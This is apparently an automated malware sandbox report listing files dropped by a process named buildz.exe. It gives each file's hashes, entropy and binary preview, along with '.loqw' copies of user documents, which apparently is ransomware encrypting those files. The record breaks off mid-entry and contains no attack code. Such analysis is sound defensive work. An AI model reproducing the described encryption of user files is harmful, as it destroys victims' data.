Preview:	UMMBDQZ..S.......~.-.....zc.}........../.....=\|..C....5.^.l^.2.#..C)..wo..V.lN.{.}Y...E KmE.n..t:.....\...,.e`.....a....xg...#.8U..rs"....i..7.......j.TA.f6s.v.-d.p.S.!.cjz-.S..X.8...F..%.{4rfp&.!=.!k..2......./...,".b..b.u.t..B......v......X........I....E.x....l....Ap.o...t.u..M-./....u.@..k.].6.Kw=.4..nb8.!...L+.=...Q.-{ox.`U....A7.2r.6.. ....;.ZL.X..Uq..;f.....z~..S.t....O..@.C.nS..nc.>....n...........K..U.. ...#....bl.....L..3...u.......^...u&..%...vX.....Q>..[..27.e.v.p..HO...............D~..Y'uag.......G..e....y.....wW.@t..I(..]....d..Ge.....X.GQ.w.s..S..l......j...Y"...r...\|...%f<J...~W....2.....>......`o.v...h^...".ic...>.R.O.-..?...r....@xsy..E..T.......Y..i.y.ot......M0.=_....x..6.7...~.d.........pNq....^.....;..,.....e..j8a.u................2.......Xc....O..u.+.f..M.H..@J.....c.9......FS......W....WB..a...y-.-'.....#.....@P....$R.,..@LU8a.C..,.7_;.W...3.l..8.%...u{.....1...:..S.,..5J.7nO^.`o.2.}Pq...%..^...QebL..9

C:\Users\user\Documents\DTBZGIOOSO\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839100920256885
Encrypted:	false
SSDEEP:	24:QqeN548E6SYrl2ys61DdkY/YOt6sYTNx2VMNtaUPRLVAp19btGlbD:QqeNO8EBeXscPt6xNx2igoW10D
MD5:	9464D7AAD007C7E7650405FCA6336863
SHA1:	4DC0249452686E540A2E4A3D66424E0AC47FBFCD
SHA-256:	A0F7A7CFB5434AC8C200A46657DF125B1A6FAAFF3CFF74CA5014E3CAA9036FF2
SHA-512:	48002E2015770DB6FAF47D8869877ADBDF32282A027D112E7A1B27E147349A327C59D935027CB2326351B51C0120278AA2DBEC92B819946BE38FDF1DB209C2E5
Malicious:	false
Reputation:	unknown
Preview:	VLZDG..i6h..RoQ...`Qy....az........H{%.^..Ca.%2..F.l.....h.....5....8Y....I(V-..l.;.3...o..01S$.....e.q.\a#.sG..@...N.0...P............}.]sWpQ.Z]....+I.n.y...@SV....Y...k[I../...w.^.<+.F.u.=I.p..Qj.7.~B4.`..3.....(..or.r....}X...........u..#......f.].GpBG...s.;.7_...i..%_.....^.._....m..^...".%..\|.{.E#Q..x.ND.c..C.Q!..Y....j.b.q.YY..\|mX'.@<.M..5...r...@.}...r@..s...6..x.Y.....D.......v...l][..uyb)....2y3.v.Xd.....B...\|.dw..#.rk.m....]q...K.......=..g..l..Xz.~..~.8..2h.ro.s..6.zA.....74..N...$dh.%....`ET.I...Vr..#b>(.0.j7T.S}7...,LN....#.B.l..@.mk3..P..jS.N@..(....;.p.Vn......6.....0V..............(.. .0Y3.z.UD......l`P'.. ........O.'..zM...+l..,......JTx:.....ZE....~....v.2./o..s....T....M_v...Q.=...ctb.p<\Gw..............F.O"R.A}(.........>.r\|.../..X=.../=..._..88.z..$%....2b*M......7..''.px...^.X.c.6......d....E.p......gPp2..q..1.J......Jz.-.:M68.......I...K....%..<..............1...k:P..I....Y.kq...c+..fc).r.Y.......H..`.L..6.o.5;.%..0

C:\Users\user\Documents\DTBZGIOOSO\VLZDGUKUTZ.jpg.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839100920256885
Encrypted:	false
SSDEEP:	24:QqeN548E6SYrl2ys61DdkY/YOt6sYTNx2VMNtaUPRLVAp19btGlbD:QqeNO8EBeXscPt6xNx2igoW10D
MD5:	9464D7AAD007C7E7650405FCA6336863
SHA1:	4DC0249452686E540A2E4A3D66424E0AC47FBFCD
SHA-256:	A0F7A7CFB5434AC8C200A46657DF125B1A6FAAFF3CFF74CA5014E3CAA9036FF2
SHA-512:	48002E2015770DB6FAF47D8869877ADBDF32282A027D112E7A1B27E147349A327C59D935027CB2326351B51C0120278AA2DBEC92B819946BE38FDF1DB209C2E5
Malicious:	false
Reputation:	unknown
Preview:	VLZDG..i6h..RoQ...`Qy....az........H{%.^..Ca.%2..F.l.....h.....5....8Y....I(V-..l.;.3...o..01S$.....e.q.\a#.sG..@...N.0...P............}.]sWpQ.Z]....+I.n.y...@SV....Y...k[I../...w.^.<+.F.u.=I.p..Qj.7.~B4.`..3.....(..or.r....}X...........u..#......f.].GpBG...s.;.7_...i..%_.....^.._....m..^...".%..\|.{.E#Q..x.ND.c..C.Q!..Y....j.b.q.YY..\|mX'.@<.M..5...r...@.}...r@..s...6..x.Y.....D.......v...l][..uyb)....2y3.v.Xd.....B...\|.dw..#.rk.m....]q...K.......=..g..l..Xz.~..~.8..2h.ro.s..6.zA.....74..N...$dh.%....`ET.I...Vr..#b>(.0.j7T.S}7...,LN....#.B.l..@.mk3..P..jS.N@..(....;.p.Vn......6.....0V..............(.. .0Y3.z.UD......l`P'.. ........O.'..zM...+l..,......JTx:.....ZE....~....v.2./o..s....T....M_v...Q.=...ctb.p<\Gw..............F.O"R.A}(.........>.r\|.../..X=.../=..._..88.z..$%....2b*M......7..''.px...^.X.c.6......d....E.p......gPp2..q..1.J......Jz.-.:M68.......I...K....%..<..............1...k:P..I....Y.kq...c+..fc).r.Y.......H..`.L..6.o.5;.%..0

C:\Users\user\Documents\DTBZGIOOSO\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.812850943443869
Encrypted:	false
SSDEEP:	24:VKSOUQg/dxf7lpVzGwKQPnC76hlAzmhzozFeKH5aSb+ifJmkz1stSRIh9t1YY4vU:VXZxflzGwKkC0lAqt8tZaSb+icVBwvdu
MD5:	F7A5F4BAD416E0E91E9E51C1EBDCD955
SHA1:	D69565978AA71B1CE2E62E28521CAB1B821CA594
SHA-256:	C968DD85689782CB55369A5AAFFF8482F2FC8DA3B7805182322A43DDA1D6AEA2
SHA-512:	78D22D04E7D046ACFFEC30FA167E0ED66DF1F17FFB04631DAA70743CE03D21F24B0E348A6D94522C38C85E40263AC061FE6229A7740D5CC44E5B684D74D186A0
Malicious:	false
Reputation:	unknown
Preview:	XZXHAlW....;..1.F..X.WiS..o.]f..B4..f.9.>D.>.Y.v..\|...?..y.B....#....p.\|..$`..E...}.3..P<...Y...x.W.q....Ft...F.....>...0........p.....C......4).D..F2..Y.!v.C.a.\....y.^.myr.%...J.&..+Qb.j.v.A&.U...&.,.bI_0.T......gSOt...).w.B......\...10g.......^W.....]#%.xdH.L.i..........5A:r..9.D.-..A....b \|l}.........gc.Q........X...qD.....\R....\/8`...@.!....B.X.be)fs........t.~.x..&GR....5q,.5.!.....c...ljA..V5Q..).\..i........0..S....R..F....O.2....Z.NZ.r.....-.).....{O~.p.c,...B.."S...%..`5$.Q...[v.gL.....8. .e...$.'i...5.i...m.K..@p...i.J....>V...q.....,A58t...<$;p.1...'.-._^s.Q.gQ8.D....3.Za....SF.nR.M...g..Q..R}............\|..1{.,.>T:.LQ\t...9..[....".Q".<.5.....yQ.G!.r..GJl[O......H...o..iY$......i.8;i%A.$.....J....P..g.*G.h.. ...).`.Z..l.....oW..cp......5.......cq...11..D..[..K4..-A....7...`r./....-...p..4.h.k.Qy(.4.jO.(.?.W.o..~..@....i.m..~i.wc.. 1.....9.xN../.......`....Lx...].RP.&....i..$c^....K....G../. ....\|@.C....>..p..7..G5@.P

C:\Users\user\Documents\DTBZGIOOSO\XZXHAVGRAG.xlsx.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.812850943443869
Encrypted:	false
SSDEEP:	24:VKSOUQg/dxf7lpVzGwKQPnC76hlAzmhzozFeKH5aSb+ifJmkz1stSRIh9t1YY4vU:VXZxflzGwKkC0lAqt8tZaSb+icVBwvdu
MD5:	F7A5F4BAD416E0E91E9E51C1EBDCD955
SHA1:	D69565978AA71B1CE2E62E28521CAB1B821CA594
SHA-256:	C968DD85689782CB55369A5AAFFF8482F2FC8DA3B7805182322A43DDA1D6AEA2
SHA-512:	78D22D04E7D046ACFFEC30FA167E0ED66DF1F17FFB04631DAA70743CE03D21F24B0E348A6D94522C38C85E40263AC061FE6229A7740D5CC44E5B684D74D186A0
Malicious:	false
Reputation:	unknown
Preview:	XZXHAlW....;..1.F..X.WiS..o.]f..B4..f.9.>D.>.Y.v..\|...?..y.B....#....p.\|..$`..E...}.3..P<...Y...x.W.q....Ft...F.....>...0........p.....C......4).D..F2..Y.!v.C.a.\....y.^.myr.%...J.&..+Qb.j.v.A&.U...&.,.bI_0.T......gSOt...).w.B......\...10g.......^W.....]#%.xdH.L.i..........5A:r..9.D.-..A....b \|l}.........gc.Q........X...qD.....\R....\/8`...@.!....B.X.be)fs........t.~.x..&GR....5q,.5.!.....c...ljA..V5Q..).\..i........0..S....R..F....O.2....Z.NZ.r.....-.).....{O~.p.c,...B.."S...%..`5$.Q...[v.gL.....8. .e...$.'i...5.i...m.K..@p...i.J....>V...q.....,A58t...<$;p.1...'.-._^s.Q.gQ8.D....3.Za....SF.nR.M...g..Q..R}............\|..1{.,.>T:.LQ\t...9..[....".Q".<.5.....yQ.G!.r..GJl[O......H...o..iY$......i.8;i%A.$.....J....P..g.*G.h.. ...).`.Z..l.....oW..cp......5.......cq...11..D..[..K4..-A....7...`r./....-...p..4.h.k.Qy(.4.jO.(.?.W.o..~..@....i.m..~i.wc.. 1.....9.xN../.......`....Lx...].RP.&....i..$c^....K....G../. ....\|@.C....>..p..7..G5@.P

C:\Users\user\Documents\ONBQCLYSPU\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844230667610123
Encrypted:	false
SSDEEP:	24:athyoI1f3OE1Jct6G9vo10SHRmARpAXYT1vJn2oui0qx5TymkCQpOJbD:avdI1G6tEw10SHRmARpAkn245TWCmaD
MD5:	F893793D7F5CD225F4CCDAC79901E77C
SHA1:	3B07126FF3246C9117DAE548F6CB051CC7BE06D3
SHA-256:	FE44E6CD70BA441C4AFCB7749A045FE903378A65BF68582F228F217543D9636D
SHA-512:	69BC31F87C418BC3EAC63351F00007E5072B32DAB91BD8298603C5A314BC31912EFD22FD913EA05070CA9EDF3B5CE490281B8CD5B0C5A1A899C59D2F261F36BF
Malicious:	false
Reputation:	unknown
Preview:	KATAX"..~$..:...?. ....{3...c'I.Z....'Ow\{}../.0.....4.....fg....>.4...:.....+.h....'..,............m...n...E..^...[...k...x..w..BB.hl.V<m.{.._kIk.r!f.....OK/R..c...:.N.%...R....F!..).W.qs...X.....=K..RS.ZY.O.+a.(@..33scY.Y..Q\|.5..S7q.U..._..i^.........;4......]....^u...l....s.S&.=.v.#.5-......k....L....1.....U..t"u.3.X....C...0>.=.s..g(.3r.t.q...p.lI......R.[{..o...\.t.H^3.........I..#.l....a.8.. ..l...M..7..\9..X.+.-.."..o<.3..i0UV+...........8..f...w.v......<...Q.K....g.....a.....U~.../%.....7..v...X....3.Rl..l....Vj..4... .)a.3.a..S..%....PnZ.z....hj.x#.l}.<v..8opT..E..m.s5$..=.\..5..o.~..>P..k5da..%O...}..Zy..A./..yj...FPF_....ONX.z.d ..gNs!..#..F....2.6...>..~.L....N..7....-.6.......?..#....K.;z.qg.......n....mR...jAbqDVI\.....p..kF..\|..O.nB.9...../..r...Oy...ug....?}...=$_....1.`.=.u.g^..@.....J_.C.I+.&..W..D..xt..7.V..0U3N.r.!@.vd...IE.G...V.b..f#H.]c..-..j....!....h.......$@]7.......d......g.S...J...W.M..)..{q..{....H..@OON.l..

C:\Users\user\Documents\ONBQCLYSPU\KATAXZVCPS.xlsx.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844230667610123
Encrypted:	false
SSDEEP:	24:athyoI1f3OE1Jct6G9vo10SHRmARpAXYT1vJn2oui0qx5TymkCQpOJbD:avdI1G6tEw10SHRmARpAkn245TWCmaD
MD5:	F893793D7F5CD225F4CCDAC79901E77C
SHA1:	3B07126FF3246C9117DAE548F6CB051CC7BE06D3
SHA-256:	FE44E6CD70BA441C4AFCB7749A045FE903378A65BF68582F228F217543D9636D
SHA-512:	69BC31F87C418BC3EAC63351F00007E5072B32DAB91BD8298603C5A314BC31912EFD22FD913EA05070CA9EDF3B5CE490281B8CD5B0C5A1A899C59D2F261F36BF
Malicious:	false
Reputation:	unknown
Preview:	KATAX"..~$..:...?. ....{3...c'I.Z....'Ow\{}../.0.....4.....fg....>.4...:.....+.h....'..,............m...n...E..^...[...k...x..w..BB.hl.V<m.{.._kIk.r!f.....OK/R..c...:.N.%...R....F!..).W.qs...X.....=K..RS.ZY.O.+a.(@..33scY.Y..Q\|.5..S7q.U..._..i^.........;4......]....^u...l....s.S&.=.v.#.5-......k....L....1.....U..t"u.3.X....C...0>.=.s..g(.3r.t.q...p.lI......R.[{..o...\.t.H^3.........I..#.l....a.8.. ..l...M..7..\9..X.+.-.."..o<.3..i0UV+...........8..f...w.v......<...Q.K....g.....a.....U~.../%.....7..v...X....3.Rl..l....Vj..4... .)a.3.a..S..%....PnZ.z....hj.x#.l}.<v..8opT..E..m.s5$..=.\..5..o.~..>P..k5da..%O...}..Zy..A./..yj...FPF_....ONX.z.d ..gNs!..#..F....2.6...>..~.L....N..7....-.6.......?..#....K.;z.qg.......n....mR...jAbqDVI\.....p..kF..\|..O.nB.9...../..r...Oy...ug....?}...=$_....1.`.=.u.g^..@.....J_.C.I+.&..W..D..xt..7.V..0U3N.r.!@.vd...IE.G...V.b..f#H.]c..-..j....!....h.......$@]7.......d......g.S...J...W.M..)..{q..{....H..@OON.l..

C:\Users\user\Documents\ONBQCLYSPU\LTKMYBSEYZ.pdf

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843621945394753
Encrypted:	false
SSDEEP:	24:WTVGGCliejCbmrwttYaEJzG5hSRs3yIyBK1EwNXoob5Y/BhMoFX9qbD:YVGzQxbmrWYaDhSRgyIyBGnNYcqBhMoc
MD5:	0B70B034F28F4B4112F77E620CB2CAFD
SHA1:	79F373B526DA06B1453A34D92D258098EB82E619
SHA-256:	B29062B98F0CECDDE5AE56696B186618F76422223D34ADF161BFC601B692F7E4
SHA-512:	EEEC3E0B434EA5BD8ADCBE7DCCF998E3EE82BEC87DE1B7F6E1C053766EC8AA489F1ECACD9D5099CC608CCC4BED1CA1193D24A7D74700CE1BA032210B65B23201
Malicious:	false
Reputation:	unknown
Preview:	LTKMYg7.!'1.M.u....4h}o.j.8.6.8...D..ZkV...K..wx.H.600..~...]w/...8.........h..1...P<>U....P\L'.#Q.n...xi&....gO........#\..NF@m...Z..H....c.g.......D.q.,n....Tm.6[$P..F.....l.1J.j........z..j...=.......D..Ic.@jrEC.teck....?.W. ..z..H(r........KZp..5.`L....7.1.H..t....NHD.....h.6N.,."h.(ICP.fL=.h^..)..)A..[.I....KYslsV.U...yV.YQ.u...F.g..%.0..J.._.k........zv..?....f.@0(VA....FfU..)(j.X....p...Z.<.....h....7[.!."62.v4.B9.v.O"e.MK.v..2f.N....b.mv..b 9....D8.,.PdE..A..........1ZYH.C..N.....k...d....8i....e.F..5FV>...X2g.2....FYX..").LE......]..J..%.9..d.p.Z~4.L.!)&G..$...]jfHg......S.<.K..sm....:Y...:.g.if.{T....-!j.....%.v...?9j...{v..G....X....{,#.AZ..\|r.hM.B{......C..k.....bX.......:4.....xy.Tnd...h...Iy...Q.s...O.u.Z...1.....w..\|.].(z$E...[ .....[....O@.{../...Rb.a...P.;.j....+A >...f.B.M.a?.hA......p..4...#af=].(.>?.r`..^..p.....f.L[.}..R...<....>`..G..z.B...g[..?..k..uk*b...........\|..O}y........Z...fEn....2.~......9..Qh.t.H'.\.e.TO

C:\Users\user\Documents\ONBQCLYSPU\LTKMYBSEYZ.pdf.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843621945394753
Encrypted:	false
SSDEEP:	24:WTVGGCliejCbmrwttYaEJzG5hSRs3yIyBK1EwNXoob5Y/BhMoFX9qbD:YVGzQxbmrWYaDhSRgyIyBGnNYcqBhMoc
MD5:	0B70B034F28F4B4112F77E620CB2CAFD
SHA1:	79F373B526DA06B1453A34D92D258098EB82E619
SHA-256:	B29062B98F0CECDDE5AE56696B186618F76422223D34ADF161BFC601B692F7E4
SHA-512:	EEEC3E0B434EA5BD8ADCBE7DCCF998E3EE82BEC87DE1B7F6E1C053766EC8AA489F1ECACD9D5099CC608CCC4BED1CA1193D24A7D74700CE1BA032210B65B23201
Malicious:	false
Reputation:	unknown
Preview:	LTKMYg7.!'1.M.u....4h}o.j.8.6.8...D..ZkV...K..wx.H.600..~...]w/...8.........h..1...P<>U....P\L'.#Q.n...xi&....gO........#\..NF@m...Z..H....c.g.......D.q.,n....Tm.6[$P..F.....l.1J.j........z..j...=.......D..Ic.@jrEC.teck....?.W. ..z..H(r........KZp..5.`L....7.1.H..t....NHD.....h.6N.,."h.(ICP.fL=.h^..)..)A..[.I....KYslsV.U...yV.YQ.u...F.g..%.0..J.._.k........zv..?....f.@0(VA....FfU..)(j.X....p...Z.<.....h....7[.!."62.v4.B9.v.O"e.MK.v..2f.N....b.mv..b 9....D8.,.PdE..A..........1ZYH.C..N.....k...d....8i....e.F..5FV>...X2g.2....FYX..").LE......]..J..%.9..d.p.Z~4.L.!)&G..$...]jfHg......S.<.K..sm....:Y...:.g.if.{T....-!j.....%.v...?9j...{v..G....X....{,#.AZ..\|r.hM.B{......C..k.....bX.......:4.....xy.Tnd...h...Iy...Q.s...O.u.Z...1.....w..\|.].(z$E...[ .....[....O@.{../...Rb.a...P.;.j....+A >...f.B.M.a?.hA......p..4...#af=].(.>?.r`..^..p.....f.L[.}..R...<....>`..G..z.B...g[..?..k..uk*b...........\|..O}y........Z...fEn....2.~......9..Qh.t.H'.\.e.TO

C:\Users\user\Documents\ONBQCLYSPU\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.832229960951289
Encrypted:	false
SSDEEP:	24:HjVW537WXNqykLfCxg0YTc/sDZyIx7RlfUsYlA/oRBNwiAbD:Dk56XNqjYzYggdtnol9RB+9D
MD5:	1816F5859E7F1C1594DF54BFF30AE32B
SHA1:	259E389F3E07B43C23F014909ED72F17D2EB3F3C
SHA-256:	C8C62696541A04DAAE5FD864CCD53865EE90B6AB8548DE57BAEE6CCDFB2CA981
SHA-512:	379CD28042B3FEBB2B802222CCCE1F48F563F04833BBCF956B16AF9CA8E5A4085BAE53C127C77EDDC93E2445E884B3386233CBCF339201FB77383E37B1639159
Malicious:	false
Reputation:	unknown
Preview:	ONBQCM....cc>I.P+.H0..W.N........{T...h[..,...q..W.oj..Hi.b.q..GI..Np..]...6.z.&.X./.#!......(xT.O...(q./...J.A)VWB.Vy......D0,.&X..@....;..Z]..$p_Bv..o...@T..P...{.M...hL-x.....1../...R0...\|..J......R...B..y.D..\J..P..~.%CcW..9E....&.Yc%<.o.H...Y..NZG...X......7..zt-]...]~.q..\|.c.u.M..T......W.pa..,.-.[eD...rg.....i.......`,.2.....1.....3...=4...#.J.....?...`W.........us.7...'iUrX.^..=...agf6....>7.A...F1.. .....z=V.....m...~...D.W....+<.....ba...].CR_..@...th.4..U.../...f...W....d.8.P..ph.5g...c..l.0.....7.s-.[v+......'...s])Ab.%._..F...n..iM\|.@.m.gC......&.3..%..?!. .~Z.E.b....l.oyY...bO...#.O.:.............JSZ...HF....d.NF....+y.....y..#...:.:H.B.X..K'...L..!..........dB..Cx.6w....7G.$W..UN5...Q..].x.J..L_$.w.)n'.$.w.".g..I'v.J..Y .5.'hxU....8J.U..O...`E..C.a...F..l5.:......mFM(I&}.P..qe./2.Y..n...B..-{K...N.gG.......Ww.lf_@......oJ7i...)z"....aD..:.......B.6J.y.O....BO.K ...e.....a...Z..U.G...../d..U.G..e8..(.Gs.O.B.6+BrQG..^.~.v.

C:\Users\user\Documents\ONBQCLYSPU\ONBQCLYSPU.docx.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.832229960951289
Encrypted:	false
SSDEEP:	24:HjVW537WXNqykLfCxg0YTc/sDZyIx7RlfUsYlA/oRBNwiAbD:Dk56XNqjYzYggdtnol9RB+9D
MD5:	1816F5859E7F1C1594DF54BFF30AE32B
SHA1:	259E389F3E07B43C23F014909ED72F17D2EB3F3C
SHA-256:	C8C62696541A04DAAE5FD864CCD53865EE90B6AB8548DE57BAEE6CCDFB2CA981
SHA-512:	379CD28042B3FEBB2B802222CCCE1F48F563F04833BBCF956B16AF9CA8E5A4085BAE53C127C77EDDC93E2445E884B3386233CBCF339201FB77383E37B1639159
Malicious:	false
Reputation:	unknown
Preview:	ONBQCM....cc>I.P+.H0..W.N........{T...h[..,...q..W.oj..Hi.b.q..GI..Np..]...6.z.&.X./.#!......(xT.O...(q./...J.A)VWB.Vy......D0,.&X..@....;..Z]..$p_Bv..o...@T..P...{.M...hL-x.....1../...R0...\|..J......R...B..y.D..\J..P..~.%CcW..9E....&.Yc%<.o.H...Y..NZG...X......7..zt-]...]~.q..\|.c.u.M..T......W.pa..,.-.[eD...rg.....i.......`,.2.....1.....3...=4...#.J.....?...`W.........us.7...'iUrX.^..=...agf6....>7.A...F1.. .....z=V.....m...~...D.W....+<.....ba...].CR_..@...th.4..U.../...f...W....d.8.P..ph.5g...c..l.0.....7.s-.[v+......'...s])Ab.%._..F...n..iM\|.@.m.gC......&.3..%..?!. .~Z.E.b....l.oyY...bO...#.O.:.............JSZ...HF....d.NF....+y.....y..#...:.:H.B.X..K'...L..!..........dB..Cx.6w....7G.$W..UN5...Q..].x.J..L_$.w.)n'.$.w.".g..I'v.J..Y .5.'hxU....8J.U..O...`E..C.a...F..l5.:......mFM(I&}.P..qe./2.Y..n...B..-{K...N.gG.......Ww.lf_@......oJ7i...)z"....aD..:.......B.6J.y.O....BO.K ...e.....a...Z..U.G...../d..U.G..e8..(.Gs.O.B.6+BrQG..^.~.v.

C:\Users\user\Documents\ONBQCLYSPU\RAYHIWGKDI.mp3

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.87027065369879
Encrypted:	false
SSDEEP:	24:CkTIlb97s9Ft9fpHvY2pDLhPHaMG7P+gcVA4F+2+b88luJN8NCNbbN9ECHbD:hIlb97qFt9RHvY2fa7+JVA4Fha3u7OCF
MD5:	A64399C359F8E55EF07F2D085E967441
SHA1:	315D9C1B8CA9DA55833798FBB75B9A784FFB0497
SHA-256:	1325D1792DD5BF32895ED68011A75692C87FE252115EB2D756D04BEBDCC0EE79
SHA-512:	465C4E29E76E61AEE06D6BEAC13677DA0CC7176B8AB48DA17F71BA342795D1B024542EBB5B49D966514764F1B9B40820CF590495958E0328625F06B8979CF573
Malicious:	false
Reputation:	unknown
Preview:	RAYHI.D8C...&..!....E>.. ...f.K..Z.(H;..x...8.r...k?%{.... .:.F.1.....x..T...E.Z...g.\|_...X.'oO..q?:..L.S...l..I.....c..J....9..+.....w......#..#.Q[...S.......h..><.@...?...c!^...c.&2v:r..^...Q..-........P..,........8e.9.....!..&.F".^4.f....j.A...s.W.52....>)q...?E...L..hZ.{..a=>..........u...O....c..'..Q.[.~..(ikl..'..!y...?.4.!....g.~....E.c.Z ...@$..C..^...U+.{.C..........5..?\|&....'o.R....`....}...r.=..);.]....S...RR.{B.....Wnx^.\.V.M.Yy......>../1DIa+..>..../#.........X....`v....11.ar....A.W..........v....\e..P.0....h......@.P.<n.!..`..z...U..=....3....'..r.O....[}..S.<..-..@..W..-,.`.g?$.gO...s,......7%.O..o 5._Zc...Uk.xG..RE.6.6p.9.....z#..GT..Q..7g.O..g.LE\|\.O.......4.e.F.c.....h......\...g.Sup.....G;...o.oe.........t.....z..A...S..>.O...G..Y.....UX...%.......r..l.....4c..@u."?+....:.o.#.\M.a.6.0.j?k.&..q..... ~.......j'....xe(...C....Q....w...c..N-?b}....(....e.JF.SsM:9u..q.....Kw....,...\|..$.>....#,<k...w...X...-.d.b.S"....$

C:\Users\user\Documents\ONBQCLYSPU\RAYHIWGKDI.mp3.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.87027065369879
Encrypted:	false
SSDEEP:	24:CkTIlb97s9Ft9fpHvY2pDLhPHaMG7P+gcVA4F+2+b88luJN8NCNbbN9ECHbD:hIlb97qFt9RHvY2fa7+JVA4Fha3u7OCF
MD5:	A64399C359F8E55EF07F2D085E967441
SHA1:	315D9C1B8CA9DA55833798FBB75B9A784FFB0497
SHA-256:	1325D1792DD5BF32895ED68011A75692C87FE252115EB2D756D04BEBDCC0EE79
SHA-512:	465C4E29E76E61AEE06D6BEAC13677DA0CC7176B8AB48DA17F71BA342795D1B024542EBB5B49D966514764F1B9B40820CF590495958E0328625F06B8979CF573
Malicious:	false
Reputation:	unknown
Preview:	RAYHI.D8C...&..!....E>.. ...f.K..Z.(H;..x...8.r...k?%{.... .:.F.1.....x..T...E.Z...g.\|_...X.'oO..q?:..L.S...l..I.....c..J....9..+.....w......#..#.Q[...S.......h..><.@...?...c!^...c.&2v:r..^...Q..-........P..,........8e.9.....!..&.F".^4.f....j.A...s.W.52....>)q...?E...L..hZ.{..a=>..........u...O....c..'..Q.[.~..(ikl..'..!y...?.4.!....g.~....E.c.Z ...@$..C..^...U+.{.C..........5..?\|&....'o.R....`....}...r.=..);.]....S...RR.{B.....Wnx^.\.V.M.Yy......>../1DIa+..>..../#.........X....`v....11.ar....A.W..........v....\e..P.0....h......@.P.<n.!..`..z...U..=....3....'..r.O....[}..S.<..-..@..W..-,.`.g?$.gO...s,......7%.O..o 5._Zc...Uk.xG..RE.6.6p.9.....z#..GT..Q..7g.O..g.LE\|\.O.......4.e.F.c.....h......\...g.Sup.....G;...o.oe.........t.....z..A...S..>.O...G..Y.....UX...%.......r..l.....4c..@u."?+....:.o.#.\M.a.6.0.j?k.&..q..... ~.......j'....xe(...C....Q....w...c..N-?b}....(....e.JF.SsM:9u..q.....Kw....,...\|..$.>....#,<k...w...X...-.d.b.S"....$

C:\Users\user\Documents\ONBQCLYSPU\YPSIACHYXW.jpg

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850919294806003
Encrypted:	false
SSDEEP:	24:3Gu479IObccOExTrgpePiKKeho2SWFC5a1hAC7n6U3LC9SJghp0YNTlBWZobD:W7FJHT0pePiL+RDm16nWSAlYsD
MD5:	D7D8660F626F41AEF4E8B953B9C34A1B
SHA1:	D68BE1EEE4D95A36F03F84595D2EA8B03F8A4250
SHA-256:	121A34A6D04383257E7FD53639FF91D9F9C03D73DC1A3FB3089AD9DB8BAC0D0F
SHA-512:	F364D1C9DDD66C0189222DA1C2E930E98449E2BE6BC77C027AAFE5EEEFF05E9EAC22091C32ABE49E3BDEA366402E7864EE01A24BBC2A71DB557920B50707A781
Malicious:	false
Reputation:	unknown
Preview:	YPSIA`....b...~.{........J]..t..5-$j.+)......g.......+....{...#.4...s.&\T6q/1..).mWQ6xq..l.].ZR..N..^..c.Q..]..l.............4E...ch.;.T...!...C.~.h9HQ......t..w.. ..y..:._u.r.......3.\p.K-k....S..4...b`.p:fN.....k#._].x._.,N..ef..N.Hh.....A."....5....ya.}...d.1UM.`.}...M.yb-u...Wb...6.<#5..uS-c.g;.....2.*...._...y...+...y.r.`G...}./b..(5nw.d...j...9..l.m...\|.^D.IN.JX....%.R.7...F:=.B-,ab.N...G.Y]s!..0.9......^....F.k.. 4.y^."@........!W.....^....Z....R...%v....{....x..\U...<.Z]>if.....8.H.r..\|7$~.).63.\.tl....k^(8s-j......s.N..#..H.....M....g3>Ax.GQ..t...k[=.....$.%...C>....I.P....QYcD....(w..V..%....s..d. .PL.w.........y...kB;Y8...,..T..,R..dJc.e.x.......:y.#...7T.K.Q...>.7.Se.~k..j..V.ybE$j...Y..d%.A!...u.A0h...#k....&96..B..G...B.!tK..\Ej!%.>Wv..B....i......J..]c.a.f..e.H.)...Z.Vo.j!L.:G.aSA1v..?...^N.LZ..L.Rz..{.)....d..]N..?..#.d.u.Y..'.f..)..d3..,9>.....i.K....<.Wq....f..e.{..d.G]t......l=....Wq.DS?O.G.n=...e....d.t..

C:\Users\user\Documents\ONBQCLYSPU\YPSIACHYXW.jpg.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850919294806003
Encrypted:	false
SSDEEP:	24:3Gu479IObccOExTrgpePiKKeho2SWFC5a1hAC7n6U3LC9SJghp0YNTlBWZobD:W7FJHT0pePiL+RDm16nWSAlYsD
